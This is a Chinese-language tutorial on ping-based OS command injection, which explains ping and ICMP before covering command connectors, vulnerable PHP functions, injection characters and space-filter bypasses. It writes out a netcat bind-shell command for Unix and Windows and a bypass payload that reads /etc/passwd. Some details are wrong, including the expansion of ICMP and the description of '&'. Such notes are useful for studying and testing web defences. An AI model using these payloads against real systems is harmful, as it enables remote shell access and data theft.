ping 注入
0x01 ICMP 协议与 ping 命令
0x11 ping 什么?
在网络中 ping 是一个十分强大的 TCP/IP 工具。它的作用主要为:
(1)用来检测网络的连通情况和分析网络速度;
(2)根据域名得到服务器 IP;
(3)根据 ping 返回的 TTL 值来判断对方所使用的操作系统及数据包经过路由器数量。我们通常会用它来直接 ping IP 地址,来测试网络的连通情况。
Ping 的原理是 ICMP 协议。
0x12 ICMP 协议是什么?
ICMP 的全称是 Intent Control Message Protocol, 互联网控制报文协议。它是互联网协议族的核心协议之一。它用于 TCP/IP 网络中发送控制消息,提供可能发生在通信环境中的各种问题反馈,通过这些信息,使管理者可以对所发生的问题作出诊断,然后采取适当的措施解决。
在 IP 通信中,经常有数据包到达不了对方的情况。原因是,在通信途中的某处的一个路由器由于不能处理所有的数据包,就将数据包一个一个丢弃了。或者,虽然到达了对方,但是由于搞错了端口号,服务器软件可能不能接受它。这时,在错误发生的现场,为了联络而飞过来的信鸽就是 ICMP 报文。在 IP 网络上,由于数据包被丢弃等原因,为了控制将必要的信息传递给发信方。ICMP 协议是为了辅助 IP 协议,交换各种各样的控制信息而被制造出来的。
ICMP 的主要功能:
1. 确认 IP 包是否成功送达目标地址。
2. 通知在发送过程当中 IP 包被废弃的具体原因。
0x11 ping 注入
应用
命令连接符
command1 && command2 先执行 command1 后执行 command2
command1 | command2 只执行 command2
command1 & command2 先执行 command2 后执行 command1
”<” 表示的是输入重定向的意思,就是把 < 后面跟的文件取代键盘作为新的输入设备。”| ” 则表示一个管道的意思,可以理解为东西从管道的一边流向另外一边。
检测一阶命令注入的最佳方式是尝试执行一个 sleep 命令
在外部可以访问的端口上生成一个 shell(仅适用于自定义 netcat 构建):nc -l -n -vv -p 80 -e /bin/bash (unix) 或 nc -l -n -vv -p 80 -e cmd.exe (windows)。
如果想要知道目标主机名的长度,我们可以将主机名的输出通过管道符传递给 wc -c 命令。
常见 php 命令注入函数:
1 | eval(),,assert(), system(),preg_replace(), create_function, call_user_func, call_user_func_array, |
ping 注入常用字符:
‘$’,’;’,’|’,’-‘,’(‘,’)’,’`’(反引号),’||’,’&&’,’&’,’}’,’{‘
绕过
防护措施中使用最多的就是对于 payload 中空格的限制。
OS 命令注入中的空格:
花括号扩展:
bash
空格可以替换为 %20、%09 (tab)、%2b (+) in url、{IFS}
Win shell
空格可以替换为 %20、%09 (tab)、%0b、%0c、%2b (+) in url
如:;{cat,/etc/passwd}’